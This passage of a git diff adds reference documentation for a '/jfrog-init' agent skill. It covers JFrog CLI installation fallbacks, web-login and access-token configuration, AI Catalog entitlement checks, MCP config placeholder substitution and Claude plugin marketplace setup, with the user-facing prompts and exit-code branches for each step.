Catalog on + this JPD; `403` = reachable but **not entitled**, non-blocking. + `401` means the credentials themselves were rejected — that says + nothing about entitlement, so it is treated as a blocking error + instead (see Exit 3 below). + +Splitting reachability from entitlement produces two distinct +outcomes: check 1 red = "this JPD doesn't host AI Catalog, or it's +unreachable right now"; check 2's `403` = "catalog is up but your +user isn't entitled." Neither is a setup failure — both are +non-blocking permissions/availability gaps the rest of the walk doesn't +depend on (see the exit-code branches below). Check 2's `401` is +different — it means `jf`'s own credentials are invalid or expired, +which is a genuine setup problem (Exit 3). + +**Required branches:** + +- **Exit 0 (green)** → done. All checks pass, including entitlement. +- **Exit 1 (red)** → anon probe 404 / connection failure / 5xx — the + platform may not host AI Catalog, or it's unreachable right now. + **Non-blocking** — same reasoning as Exit 4 below: Steps 1-4 are + this skill's core prerequisites, and none of them depend on the AI + Catalog being present. Proceed to the Final Summary, but append a + note naming the gap (`catalogReason: "unreachable"` in + `jfrog-detect-all.mjs`'s summary — see `batch-walk.md`). +- **Exit 2 (ask)** → multiple servers configured, none marked + `isDefault`, no server-id passed. Same handling as Step 4's exit 2: + **stop and read `references/server-picker.md` in full**, then + re-invoke Step 7 with the pick as either the positional argument or + `JF_SERVER_ID`. +- **Exit 3 (error)** → `jf` missing, the authed probe returned `401` + (credentials themselves rejected — re-run `jf config add + --interactive`), or an unexpected HTTP code (e.g. a broken `jf` + config surfacing here instead of at Step 4). This is the one genuine + stop this step has — a real error, not a "catalog isn't available" + gap. +- **Exit 4 (not entitled)** → catalog is reachable but the authed probe + returned `403`. **Non-blocking** — proceed to the Final Summary, but + append the entitlement note (`catalogReason: + "not_entitled"`). The detector's `detail` names the specific endpoint + path (`/ml/core/api/v1/mcp-registry`) and the role the admin needs to + grant (typically "AI Catalog Read" or "Application Admin"), so the + user can forward an actionable request rather than a shrug. + +Exit 1 and Exit 4 are deliberately handled the same way at the walk +level (see `batch-walk.md`) — both leave `catalogEntitled: false`, and +only differ in `catalogReason`, so the Final Summary can say "no AI +Catalog here" vs. "you're not entitled" accurately instead of collapsing +both into one generic gap. + +**Never** grant a role or invent a project. diff --git a/skills/jfrog-init/references/flow-diagram.md b/skills/jfrog-init/references/flow-diagram.md new file mode 100644 index 0000000..5467430 --- /dev/null +++ b/skills/jfrog-init/references/flow-diagram.md @@ -0,0 +1,114 @@ +# /jfrog-init — full flow diagram + +Visual companion to the numbered Steps in `SKILL.md`. Every decision +node here is also fully documented — including the exact user-facing +wording — in the corresponding Step section of `SKILL.md`; this diagram +adds nothing new, it's a compressed map of that same prose for +at-a-glance orientation. `SKILL.md`'s Step-by-step text is the +authoritative source for wording and behavior — follow it literally. + +```mermaid +flowchart TD + Start(["/jfrog-init"]) --> S1 + + S1["1. Node.js >= 18 installed? (no script — node --version / npx --version)"]:::stepBox + S1 -->|no| ASKNODE["AskUserQuestion: Install Node.js now? Yes/No"]:::fixBox + ASKNODE -->|Yes, macOS/Linux| NVMINSTALL["Install nvm (pinned version) + nvm install --lts"]:::autoBox + ASKNODE -->|Yes, Windows| WINGETNODE["winget install OpenJS.NodeJS.LTS"]:::autoBox + ASKNODE -->|No| STOP0["STOP: cannot proceed without Node"]:::stopBox + NVMINSTALL -->|failed| F1["Fall back: ask user to install Node.js >= 18 manually"]:::fixBox + NVMINSTALL -->|ok| S2 + WINGETNODE --> F1W["Tell user: open a new terminal, re-run /jfrog-init"]:::fixBox + S1 -->|yes| S2 + + S2["2. jf CLI installed and >= 2.106.0?"]:::stepBox + S2 -->|missing| ASKJF["AskUserQuestion: Install JFrog CLI? Yes/No"]:::fixBox + S2 -->|outdated| ASKJFU["AskUserQuestion: Update JFrog CLI? Yes/No"]:::fixBox + ASKJF -->|Yes| INSTJF["jfrog-install-jf-cli.mjs: Plan A npm install -g jfrog-cli-v2-jf"]:::autoBox + ASKJFU -->|Yes| INSTJF + ASKJF -->|No| STOP0J["STOP: cannot proceed without jf"]:::stopBox + ASKJFU -->|No| STOP0J + INSTJF -->|npm exited 0, but resolving jf is shadowed by an earlier install on PATH| SHADOW["Report shadowing — move npm's bin ahead on PATH, or remove the other install"]:::fixBox + SHADOW --> PLANC + INSTJF -->|npm failed, or exited 0 but jf still isn't resolving up to date and not shadowed, and a private registry is configured| PLANB["Plan B: retry npm install against the public registry"]:::autoBox + PLANB -->|jf now resolves up to date| S2RE + PLANB -->|still not up to date| PLANC + INSTJF -->|npm missing, or Plan A/B failed to leave an up-to-date jf on PATH| PLANC["Plan C: direct binary download to ~/.jfrog/bin, checksum-verified, runs jf --version to confirm"]:::autoBox + PLANC -->|Windows| WINPS["Print PowerShell one-liner — user runs it themselves, then re-runs /jfrog-init"]:::fixBox + PLANC -->|macOS/Linux| S2RE + INSTJF -->|npm succeeded and jf now resolves >= 2.106.0| S2RE["Re-check: installed and >= 2.106.0?"]:::stepBox + S2RE -->|still missing/outdated| STOP1["STOP: show raw install error"]:::stopBox + S2RE -->|ok| S3 + S2 -->|yes| S3 + + S3["3. jf connected to a server?"]:::stepBox + S3 -->|no| ASKMETHOD["AskUserQuestion: Web login or Access token?"]:::fixBox + ASKMETHOD -->|Web login| WEBLOGIN["Register session, show code/link, retrieve + save credentials — all in-session, this skill's own local scripts"]:::autoBox + WEBLOGIN --> S3ASKW["AskUserQuestion: Did you finish logging in? Yes/No"]:::fixBox + S3ASKW -->|Yes| S3 + S3ASKW -->|No| STOP0B["STOP: user cancelled"]:::stopBox + ASKMETHOD -->|Access token| F3["Print one command, --url pre-filled — user runs it themselves in their own terminal, pastes the token"]:::fixBox + F3 --> S3ASK["AskUserQuestion: Did you finish running that command? Yes/No"]:::fixBox + S3ASK -->|Yes| S3 + S3ASK -->|No| STOP0B + S3 -->|yes| S4 + + S4["4. Server reachable and credentials valid?"]:::stepBox + S4 -->|multiple servers, no default| ASKSRV["AskUserQuestion: pick server-id"]:::fixBox + ASKSRV --> S4 + S4 -->|reachable, but token invalid/expired| F4["Print one command, --url and --server-id pre-filled (token-only, no web option — avoids a duplicate server) — user runs it themselves"]:::fixBox + F4 --> S4ASK["AskUserQuestion: Did you finish running that command? Yes/No"]:::fixBox + S4ASK -->|Yes| S4 + S4ASK -->|No| STOP0C["STOP: user cancelled"]:::stopBox + S4 -->|unreachable/timeout/other| STOP2["STOP: show raw error (network/URL hint included)"]:::stopBox + S4 -->|yes| S5 + + S5["5. Plugin mcp.json has mcpServers.jfrog? (auto-substitutes a JFROG_PLATFORM_URL/JFROG_URL placeholder inline, if present)"]:::stepBox + S5 -->|substitution needed, server-id ambiguous| ASKSRV5["AskUserQuestion: pick server-id"]:::fixBox + ASKSRV5 --> S5 + S5 -->|missing/invalid/no entry, incl. substitution failure| F5["Note: reinstall or update the JFrog plugin, or resolve jf config (non-blocking)"]:::fixBox + F5 --> S6 + S5 -->|yes, valid url| S6 + + S6["6. Project resolved?"]:::stepBox + S6 -->|state file has current project| ASKREUSE["AskUserQuestion: reuse CURRENT or pick different"]:::fixBox + ASKREUSE -->|reuse| VALPROJ["Validate via authenticated GET /access/api/v1/projects/KEY"]:::stepBox + ASKREUSE -->|different| ASKPROJ["AskUserQuestion: first 2 projects, or Other to type one"]:::fixBox + S6 -->|no state file| ASKPROJ + ASKPROJ --> RESOLVE["Resolve name-or-key (case-insensitive) against project list from authenticated GET /access/api/v1/projects"]:::stepBox + RESOLVE -->|no match, 1st attempt| ASKPROJ + RESOLVE -->|no match again, 2nd attempt: give up| F6 + RESOLVE -->|matched| VALPROJ + VALPROJ -->|404 or 403, 1st attempt| ASKPROJ + VALPROJ -->|404 or 403 again, 2nd attempt: give up| F6 + VALPROJ -->|401, credentials rejected| STOPCREDS["STOP: show raw error (re-auth via the Step 3/4 picker)"]:::stopBox + VALPROJ -->|2xx| S7 + + F6["Note: no project resolved after 1 retry — continue without one (non-blocking)"]:::fixBox + F6 --> S7 + + S7["7. AI Catalog reachable and user entitled?"]:::stepBox + S7 -->|anon 404 / connection failure / 5xx, exit 1| F7U["Note: catalogReason=unreachable — JPD may not host AI Catalog, or it's down right now (non-blocking)"]:::fixBox + F7U --> WRITE + S7 -->|authed 401 or 403, not entitled, exit 4| F7E["Note: catalogReason=not_entitled — ask JFrog admin for AI Catalog Read role (non-blocking)"]:::fixBox + F7E --> WRITE + S7 -->|ambiguous server-id, exit 2| ASKSRV7["AskUserQuestion: which jf server? (server-picker.md), then re-run"]:::fixBox + ASKSRV7 --> S7 + S7 -->|jf missing / credentials rejected / unexpected response shape, exit 3| STOP7["STOP: show raw error — no state file written"]:::stopBox + S7 -->|yes, entitled, exit 0| WRITE["Write state file: server, jpdUrl, and currentActiveProject if resolved (else previous project, if any, is kept) — written on every NON-blocking path out of Step 7"]:::autoBox + + WRITE --> S8CHECK{"Step 7 green AND harness == Claude Code? (detectHarness() reused from Step 5)"}:::stepBox + S8CHECK -->|no| DONE + S8CHECK -->|yes| S8["8. Claude agent-plugin marketplace registered?"]:::stepBox + S8 -->|exit 0, success| F8OK["Reply: Added the JFrog marketplace ... — trailing sentence after Final Summary"]:::autoBox + S8 -->|exit 1 or 3, failed| DONE + F8OK --> DONE + + DONE(["JFrog init complete"]):::doneBox + + classDef stepBox fill:#e8f0fe,stroke:#1a73e8,color:#000 + classDef fixBox fill:#fff4e5,stroke:#f9a825,color:#000 + classDef autoBox fill:#e6f4ea,stroke:#137333,color:#000 + classDef doneBox fill:#e6f4ea,stroke:#137333,color:#000 + classDef stopBox fill:#fce8e6,stroke:#c5221f,color:#000 +``` diff --git a/skills/jfrog-init/references/jf-cli-install-internals.md b/skills/jfrog-init/references/jf-cli-install-internals.md new file mode 100644 index 0000000..6c5a652 --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-install-internals.md @@ -0,0 +1,75 @@ +# jfrog-install-jf-cli.mjs — installation internals + +Background for Step 2 of `/jfrog-init` (`SKILL.md`). The model doesn't +need this to execute the step — `jfrog-install-jf-cli.mjs` handles all +of it and reports success/failure on stdout and its exit code — but it +explains what the script actually does, for debugging or when a user +asks how the install works. + +**Deliberately does not use** the base skill's +[`../jfrog/references/jfrog-cli-install-upgrade.md`](../../jfrog/references/jfrog-cli-install-upgrade.md) +(`brew install jfrog-cli` / a Linux-only curl one-liner, no Windows +guidance). This walk's primary method is one command that behaves +identically across macOS, Linux, and Windows without branching on OS — +`npm install -g jfrog-cli-v2-jf` — so it uses that instead. If npm +itself can't complete the install (missing, or a permissions error like +a global prefix that needs `sudo`), the script falls back to a +checksum-verified direct binary download with its own Windows handling. + +`jfrog-install-jf-cli.mjs` tries progressively more self-contained +install methods, falling through only when one genuinely fails: + +1. **Plan A — npm** (JFrog's own documented method: + docs.jfrog.com/integrations/docs/download-and-install-the-jfrog-cli#npm): + `npm install -g jfrog-cli-v2-jf` against whatever registry npm is + already configured for. No PATH/shell-rc changes here: npm's global + bin directory is expected to already be on PATH. This works + identically on macOS, Linux, and Windows, so there's no OS-specific + branch for this plan. +2. **Plan B — public registry retry**: triggered whenever Plan A's `npm` + command itself fails, *or* it exits 0 but the `jf` that resolves on + PATH afterward still isn't at the required version — provided that + stale `jf` is npm's own install and not a different, older `jf` + earlier on PATH shadowing it. Shadowing is reported directly and + skips straight to Plan C instead: retrying against a different + registry can't fix a PATH-ordering problem. If npm is configured for + a registry other than the + public one (common on a company machine, pointed at a + private/corporate mirror), the exact same install is retried with + `--registry=https://registry.npmjs.org/` — this one command only, + never touching the user's saved npm config. `jfrog-cli-v2-jf` is a + public package, so a private registry's own (possibly stale) auth + says nothing about whether the package itself is reachable. +3. **Plan C — direct binary download**: if npm is missing, or both A + and B failed for any other reason (observed in practice: a global + npm prefix that requires `sudo`), downloads the first-party `jf` + binary from `releases.jfrog.io` straight to `~/.jfrog/bin` — a + user-owned prefix that never needs elevated permissions — and + verifies it against the SHA-256 checksum Artifactory reports for that + same artifact (catches a truncated/corrupted transfer, not an + independent signature). Unlike Plans A/B, `~/.jfrog/bin` isn't on + PATH by default, so a successful Plan C also appends a PATH line to + the user's shell rc file (idempotent) and prints one for the caller + to `eval` immediately, so `jf` resolves both in future terminals and + in the *current* process without the user doing anything. + **Windows**: Plan C's direct-download path isn't reliable there, so + it instead prints a PowerShell one-liner — installing to a user-owned + path and prepending to the user-scope `Path` via + `[Environment]::SetEnvironmentVariable(..., 'User')`, no elevation + needed. Reads the existing user-scope value first rather than using + `setx PATH "...;$env:Path"`, which would copy the *combined* + machine+user PATH into the user variable (duplicating every + machine-level entry into it, permanently) and silently truncate past + `setx`'s 1024-character limit. The whole script exits 1 so Step 2 can + relay it to the user. + +Only if all three plans fail does the script print the plain +`npm install -g jfrog-cli-v2-jf` command and exit 1, for the user to +diagnose and run themselves. + +**Known trade-off of Plans A/B, called out in JFrog's own docs and not +something this script can detect or fix**: if the user relies on a +shim-based version manager (`nvm` / Volta) alongside another `jf` +install (Homebrew, curl, or Plan C itself), the version manager's +`bin/` takes PATH priority, so the npm-installed `jf` silently wins +regardless of what those other installs report. diff --git a/skills/jfrog-init/references/jf-cli-install-prompt.md b/skills/jfrog-init/references/jf-cli-install-prompt.md new file mode 100644 index 0000000..52c9b6e --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-install-prompt.md @@ -0,0 +1,74 @@ +# Step 2 — the install prompt + +**Required behavior for Step 2's red branch, not optional background.** +When `jfrog-detect-jf-cli.mjs` exits red with `reason: "missing"` (`jf` +not found on PATH at all), call `AskUserQuestion` with this exact +payload shape (arrays and options nested correctly; the tool rejects +flat/mis-shaped inputs with `InputValidationError`): + +```json +{ + "questions": [ + { + "question": "JFrog CLI isn't installed. Install it now?", + "header": "Install jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Install the JFrog CLI now. May add one line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +When it instead exits red with `reason: "broken"` (`jf` **is** on PATH +but hung, timed out, or failed to run), the "isn't installed" wording +above is false — use this payload instead: + +```json +{ + "questions": [ + { + "question": "JFrog CLI is installed but isn't responding (may be corrupted or hung). Reinstall it now?", + "header": "Reinstall jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Reinstall the JFrog CLI now. May add one line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +The user picks with arrow keys. The `question` text is the entire +user-facing message for this step, for either branch. + +**Do not** mention any install method (`npm install -g`, the direct +binary download), the package name (`jfrog-cli-v2-jf`), the install +path (`~/.jfrog/bin`), or any other implementation detail — not in the +question, not in an option description, not anywhere. The user only +needs to answer Yes or No; everything else is noise. + +Forbidden phrases (non-exhaustive — never surface any of these in the +question or its option descriptions): +- *"via npm"* / *"npm install -g"* / *"as a global Node package"* +- *"download the binary"* / *"from releases.jfrog.io"* / *"to + ~/.jfrog/bin"* +- *"~68 MB download"* / any size or timing hint + +On **Yes**, run `jfrog-install-jf-cli.mjs` directly. On **No** (or the +user selects "Other" and types an out-of-band answer), stop the walk +and tell the user `/jfrog-init` cannot continue without `jf`. + +`jfrog-install-jf-cli.mjs` tries npm first (JFrog's own documented +method, retried against the public registry if a private one fails), +then falls back to a checksum-verified direct binary download if npm +itself can't complete the install — and verifies `jf --version` +resolves before reporting success either way. See +`jf-cli-install-internals.md` for exactly how each plan works, +including the one npm trade-off the script can't detect or fix. + +After the install runs, re-invoke `jfrog-detect-jf-cli.mjs`. If still +red, stop and show the raw error verbatim; do not guess at a second fix. diff --git a/skills/jfrog-init/references/jf-cli-update-prompt.md b/skills/jfrog-init/references/jf-cli-update-prompt.md new file mode 100644 index 0000000..59302a8 --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-update-prompt.md @@ -0,0 +1,53 @@ +# Step 2 — the update prompt + +**Required behavior for Step 2's red branch when `reason` is +`"outdated"`, not optional background.** When `jfrog-detect-jf-cli.mjs` +exits red with `reason: "outdated"` (`jf` is installed, but below the +minimum version), call `AskUserQuestion` with this exact payload shape +— same shape as the install prompt (`jf-cli-install-prompt.md`), just +worded for an update instead of a fresh install: + +```json +{ + "questions": [ + { + "question": "JFrog CLI is older than required. Update it now?", + "header": "Update jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Update the JFrog CLI now."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +Fill in `` with the detector's own `currentVersion` field (the +raw `jf --version` output, and nothing else). Do **not** use `detail` +for this — it also carries the required minimum version number, which +the very next rule forbids surfacing to the user. The `question` text +is the entire user-facing message for this step. + +**Do not** mention any install/update method (`npm install -g`), the +package name (`jfrog-cli-v2-jf`), or the specific minimum version number +— not in the question, not in an option description. The user only +needs to answer Yes or No. + +On **Yes**, run `jfrog-install-jf-cli.mjs` directly — the same script +Step 2's install path uses. `npm install -g jfrog-cli-v2-jf` upgrades an +existing install in place, so there's no separate update script. On +**No** (or an out-of-band "Other" answer), stop the walk and tell the +user `/jfrog-init` cannot continue without an updated JFrog CLI. + +After the update runs, re-invoke `jfrog-detect-jf-cli.mjs`. If still red +with `reason: "outdated"`, stop and show the raw error verbatim; do not +guess at a second fix. + +## Why there's a minimum version at all + +JFrog CLI v2.106.0 or later, configured for your JFrog Platform, is +required for the Agent Plugins Repositories feature this walk's own +Step 7 (AI Catalog) depends on. For more information, see [Configure +the JFrog CLI](https://docs.jfrog.com/artifactory/docs/agent-plugins-repositories#configure-the-jfrog-cli) +in Agent Plugins Repositories. diff --git a/skills/jfrog-init/references/jf-config-auth-picker.md b/skills/jfrog-init/references/jf-config-auth-picker.md new file mode 100644 index 0000000..0bb2074 --- /dev/null +++ b/skills/jfrog-init/references/jf-config-auth-picker.md @@ -0,0 +1,219 @@ +# jf config: web login vs. access token + +**Required behavior wherever this file is the referenced fix, not +optional background.** Two distinct call sites land here, with two +different option sets: + +- **Step 3** (`jf` is installed but not connected to any server at + all) — full picker: **Web login or Access token**. +- **Step 4**, when sub-check (1) (reachability) passed but sub-check + (2) (`jf rt ping`) failed with an auth-shaped error — `jf` is + already connected to a server, its token is just stale. **Token + only** (see "Why Step 4 is token-only" below) — skip straight to + that section. + +## Step 3: ask web vs. token + +```json +{ + "questions": [ + { + "question": "How do you want to connect to your JFrog Platform?", + "header": "Connect", + "multiSelect": false, + "options": [ + {"label": "Web login", "description": "Opens in your browser. I'll drive the rest."}, + {"label": "Access token", "description": "You paste a token into one command you run yourself."} + ] + } + ] +} +``` + +If the URL isn't already known, ask for it in a plain chat message +first (*"What's your JFrog Platform URL?"*) — both branches need it. +**Plain chat message, not `AskUserQuestion` with suggested options** — +there is no real candidate to offer here (unlike the server/project +pickers, which choose among *actual configured* values), so a picker +would only ever be guessing. Never suggest, guess, or pre-fill a +specific JFrog Platform URL (e.g. `mycompany.jfrog.io`, or anything else +inferred from the user's email domain, org, or prior context) — wait +for the user to type their own. + +### Web login branch + +This skill carries its own local copies of the web-login scripts under +`scripts/` — nothing is invoked cross-skill from the base `jfrog` skill. +The token never passes through this conversation. + +1. **Register the session:** + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-login-register-session.mjs" "" + ``` + Both login scripts are pure Node — unlike Step 2's `jf` CLI itself, + there's no separate prerequisite probe needed here (no `uuidgen`/`jq` + dependency to check for). Exit 2 = server unreachable, exit 3 = + registration failed — either one is a **red**, same as any other Step + 3/4 red: show the raw error, stop. +2. **Build the login URL** from `SESSION_UUID`: + ``` + /ui/login?jfClientSession=&jfClientName=JFrog-Skills&jfClientCode=1 + ``` + **Open it in the user's default browser automatically — do not just + print the link and ask them to click it themselves.** Use the + OS-appropriate opener: + ```bash + open "" # macOS + xdg-open "" # Linux + start "" "" # Windows (cmd) / `Start-Process ""` in PowerShell + ``` + If the opener command fails or isn't available (headless/remote + session, no `$DISPLAY`, etc.), fall back to showing the link as text + so the user can open it manually — don't treat that as a hard + failure. This mirrors the base `jfrog` skill's own + `references/jfrog-login-flow.md` step 2 exactly; it's spelled out + again here, in full, rather than left as a cross-reference, because a + model following only this file (never opening the base skill's doc) + must still open the browser automatically, not silently fall back to + printing the link. + + Show the verification code prominently, then confirm the link was + opened (or provide it, on fallback): + + > ## Verification code: `` + > + > I've opened the login page in your browser — enter the code above. + > + > Let me know when you're done. + + Then `AskUserQuestion`: + ```json + { + "questions": [ + { + "question": "Did you finish logging in?", + "header": "Continue", + "multiSelect": false, + "options": [ + {"label": "Yes, continue", "description": "Retrieve credentials and continue the walk."}, + {"label": "No, cancel /jfrog-init", "description": "Stop the walk cleanly."} + ] + } + ] + } + ``` +3. On **Yes**, retrieve and save credentials: + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-login-save-credentials.mjs" "" "" + ``` + Exit 0 → done; the only thing this prints is `SERVER_ID=` and an + Artifactory version check — the token itself never appears in this + script's output, and this skill never reads it. Exit 2/3/4 → the + session's one-time token is now consumed either way (see the base + skill's "Gotchas") — tell the user plainly it didn't work and offer + to either restart web login from step 1 above or switch to the + Token branch; don't retry silently. +4. Re-run whichever detector sent you here (`jfrog-detect-jf-config.mjs` + for Step 3) to confirm green, then continue. + +Skip the base skill's "make it the default `jf` server?" gate — this +skill's own server resolution (`references/server-picker.md` / +"Resolving ``" in `SKILL.md`) already uses the sole +configured server silently when there's only one, so that question +would be redundant here. + +### Token branch (Step 3, and the only option for Step 4) + +Print exactly one ready-to-run command, with `--url` (and, for Step 4, +the already-resolved `--server-id`) filled in — the user runs it +**themselves, in their own terminal**, replacing the placeholder with +their own token. **Never** ask for the token in chat, and never run +this command yourself via the Bash tool — the token must not enter +this conversation at all. + +- **Step 3** (no server-id yet — one will be created): + ``` + jf config add jfrog --url= --access-token= --interactive=false + ``` +- **Step 4** (existing server, refreshing a stale token — reuse the + already-resolved `` and `--overwrite` so this updates the + same entry instead of creating a second one): + ``` + jf config add --url= --access-token= --interactive=false --overwrite + ``` + +Send this as its own chat message (same rule as today: no `!` prefix — +that runs inside Claude Code's own shell). Then `AskUserQuestion`: + +```json +{ + "questions": [ + { + "question": "Did you finish running that command?", + "header": "Continue", + "multiSelect": false, + "options": [ + {"label": "Yes, continue", "description": "Re-check and continue the walk."}, + {"label": "No, cancel /jfrog-init", "description": "Stop the walk cleanly."} + ] + } + ] +} +``` + +On **Yes** → re-run the same detector that sent you here +(`jfrog-detect-jf-config.mjs` for Step 3, `jfrog-detect-server-ping.mjs +[server-id]` for Step 4 — never the other one). If still red, print +the same command and the same `AskUserQuestion` again — the loop is +harmless. On **No** → stop with exactly one sentence: *"OK — run +`/jfrog-init` again when ready."* Nothing else. + +## Why Step 4 is token-only + +`jfrog-login-save-credentials.mjs` derives (or overwrites) a server +entry **from the URL itself** (`https://mycompany.jfrog.io` → +`mycompany`), independent of whatever server-id Step 4 actually +resolved. Running the web-login branch there could silently create a +*second*, differently-named server instead of refreshing the token on +the one Step 4 is checking — so Step 4 only ever offers the Token +branch above, which explicitly reuses the existing `--server-id`. + +## Step 4's full branch table + +`jfrog-detect-server-ping.mjs [server-id]` runs two sub-checks, both +must pass: (1) an anonymous `fetch` of `/artifactory/api/system/ping` +— HTTP `200/401/403` = up, `404`/connection failure/`5xx` = red; (2) +`jf rt ping --server-id=`, token kept inside `jf`'s process — a +pass means the token is valid and authorized, the earliest signal of a +stale credential before it fails later at runtime. Sub-check (1) green ++ (2) red = tailor the message: an auth-shaped error points at a stale +token (the token-only fix above); a 30s timeout points at network/VPN; +anything else shows the raw `jf rt ping` error without guessing a cause. + +- **Exit 0 (green)** → proceed to Step 5. +- **Exit 1 (red)** → branch on the detector's `detail`, don't just stop + and dead-end on a generic "check with your admin": + - **Credentials invalid/expired** (sub-check (1) passed, only the + token is stale) → use the token-only fix above, then re-run *this + step's* detector (`jfrog-detect-server-ping.mjs`, not Step 3's) — + the user already has `jf` connected, they just need a fresh token. + - **Anything else** (connection failed, timeout, unexpected HTTP + code, reachability itself failed) → **stop.** No fix script. Show + the raw error line verbatim and tell the user to fix that and + re-run `/jfrog-init`. +- **Exit 2 (ask)** → multiple servers configured, none marked + `isDefault`, no server-id passed. **Stop and read + `references/server-picker.md` in full**, then re-invoke with the + pick as either the positional argument or `JF_SERVER_ID`. + +## What the token flow never does + +Neither this file's Token branch nor the Web branch's scripts ever +print, log, or store a token where this skill (or the model) can read +it: the Token branch's command is run by the user in their own +terminal; the Web branch's `jfrog-login-save-credentials.mjs` keeps the +retrieved token inside its own process and only ever prints +`SERVER_ID=...` plus a version check. `jfrog-detect-jf-config.mjs` only +checks *that* a server is configured (masked `jf config show` output); +`jfrog-detect-server-ping.mjs` validates the token via `jf rt ping`, +keeping it inside `jf`'s own process the whole time. diff --git a/skills/jfrog-init/references/marketplace-setup.md b/skills/jfrog-init/references/marketplace-setup.md new file mode 100644 index 0000000..2ffc523 --- /dev/null +++ b/skills/jfrog-init/references/marketplace-setup.md @@ -0,0 +1,34 @@ +# Step 8 — Claude agent-plugin marketplace + +**Required behavior for Step 8, not optional background.** + +## What this step does + +Registers the JFrog Claude agent-plugin marketplace with +Claude Code (`claude plugin marketplace add `), so plugins +published to Artifactory become installable via `/plugin install`. +`jfrog-add-claude-marketplace.mjs` does all of it, including the +`~/.netrc` write below — never call `claude` yourself. + +## The `~/.netrc` write + +The only place this skill itself puts a token on disk, so say so plainly +if the user asks. The token goes to `~/.netrc`, replacing any prior block +for that host. `claude plugin install` needs it because the marketplace +lists each plugin as a plain Artifactory URL with no credentials in it. +The marketplace fetch does not use the file, because the URL passed to +`claude plugin marketplace add` carries the token and Claude Code saves +that URL in its own plugin config. + +## Server scope + +Never ask which server to use — this step is non-blocking, so with +nothing resolvable it fails red instead. + +## Required branches + +- **Exit 0 (green)** → success. Reply with the success sentence in + `SKILL.md`'s Final summary rule 5, verbatim. +- **Exit 1 or 3 (red), or skipped (Step 7 not green, or not Claude + Code)** → say **nothing**, exactly as if Step 8 didn't exist for this + walk. diff --git a/skills/jfrog-init/references/mcp-plugin-config.md b/skills/jfrog-init/references/mcp-plugin-config.md new file mode 100644 index 0000000..01a818f --- /dev/null +++ b/skills/jfrog-init/references/mcp-plugin-config.md @@ -0,0 +1,100 @@ +# Step 5 — plugin-owned mcp.json: mechanics and per-harness paths + +Background for Step 5 of `/jfrog-init` (`SKILL.md`). The model doesn't +need this to execute the step — `jfrog-detect-jfrog-mcp.mjs` handles +detection and substitution and reports the result as JSON — but it's +useful for debugging a red/error result or explaining what happened. + +**Placeholder substitution.** The plugin sometimes ships an `mcp.json` +where the JPD URL is a placeholder that would otherwise need to be +resolved at runtime from an env var: + +```json +{"mcpServers": {"jfrog": {"url": "https://${JFROG_PLATFORM_URL}/mcp"}}} +``` + +Because we have that URL sitting in `jf config`, and because leaving +the placeholder in place means the MCP silently fails to load in the +IDE / agent, Step 5 auto-substitutes it. If the detector finds the +placeholder pattern anywhere in the file, it calls +`jfrog-substitute-mcp-placeholders.mjs`, which: + +1. Parses the file as JSON and looks **only** at + `mcpServers.jfrog.url` — never a file-wide text replace, so an + unrelated MCP server entry or JSON value that happens to contain the + same placeholder text is never touched. +2. Reads the JPD URL from `jf config` (default server, or the one + passed as arg 2), normalizes it to the JPD root, and substitutes it + into that one `url` string. +3. Handles both the `https://${...}` form (where our own scheme would + double up) and the bare `${...}` form. +4. Re-serializes the whole file (`JSON.stringify(parsed, null, 2)`) and + writes atomically (temp file + rename) so a partial write cannot + corrupt the file. Original formatting/whitespace elsewhere in the + file is not preserved byte-for-byte. +5. Is idempotent — subsequent runs find no placeholder and no-op. + +This is the ONLY place `/jfrog-init` writes to the plugin-owned +`mcp.json`. Everything else in Step 5 is read-only. + +**Per-harness plugin-owned config file:** + +| Harness | Plugin-owned config file | +|--------------|--------------------------| +| Cursor | `~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json` (glob → newest) | +| VS Code | `~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json` | +| Claude Code | `~/.claude/plugins/cache//jfrog//.mcp.json` (glob) | + +Harness detection: `CLAUDECODE` / `CURSOR_TRACE_ID` / `VSCODE_PID` / +`TERM_PROGRAM`. Override with `JFROG_INIT_HARNESS=claude|cursor|vscode` +or a specific file via `JFROG_INIT_MCP_CONFIG=/abs/path`. + +**What the detector verifies** (three things): + +1. Plugin file exists and is non-empty at its harness-specific path. +2. Parses as valid JSON. +3. Contains an `mcpServers.jfrog` entry with a non-empty `url`. + +It does NOT enforce any other `type`/`url` shape (each plugin owns its +own schema) and it does NOT probe the endpoint — a mis-configured MCP +endpoint surfaces immediately the first time the user invokes it, and +the walk's other network checks (Steps 4, 7) already prove the JPD is +reachable. + +**Step 5 branches, required behavior:** + +- **Exit 0 (green)** → proceed to Step 6. +- **Exit 1 (red)** or **Exit 3 (error)** → **non-blocking** — proceed + to Step 6 as if green, but remember the cause for the Final Summary. + Steps 6 and 7 call the JPD's REST APIs directly with `jf config` + credentials, never through `mcpServers.jfrog`, so a broken or + missing plugin `mcp.json` doesn't affect whether those checks are + accurate — there's nothing to gain by stopping the walk over it. + Tell the two red causes apart from the detector's `detail` for the + Final Summary note: + - Plugin file missing / empty / lacks `mcpServers.jfrog`. Fix: + **reinstall or update the JFrog plugin.** If the user asks why or + how to fix it, run: + + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-reinstall-jfrog-plugin.mjs"; true + ``` + + and relay its per-harness remedy — it only diagnoses and prints, + never writes to the plugin's mcp.json. + - Plugin file has a placeholder and automatic substitution failed + with no url set for the resolved server-id. Fix: **resolve `jf + config`**. Reinstalling the plugin does not fix this. + - (Exit 3 only) Harness could not be detected, or plugin file is + invalid JSON / unreadable. Show the raw detector error in the note. +- **Exit 2 (`ask`)** → the one outcome that still blocks: placeholder + present, but the jf server-id is ambiguous — every step from here on + needs a resolved server-id, so there's nothing to skip ahead to. + **Stop and read `references/server-picker.md` in full**, then 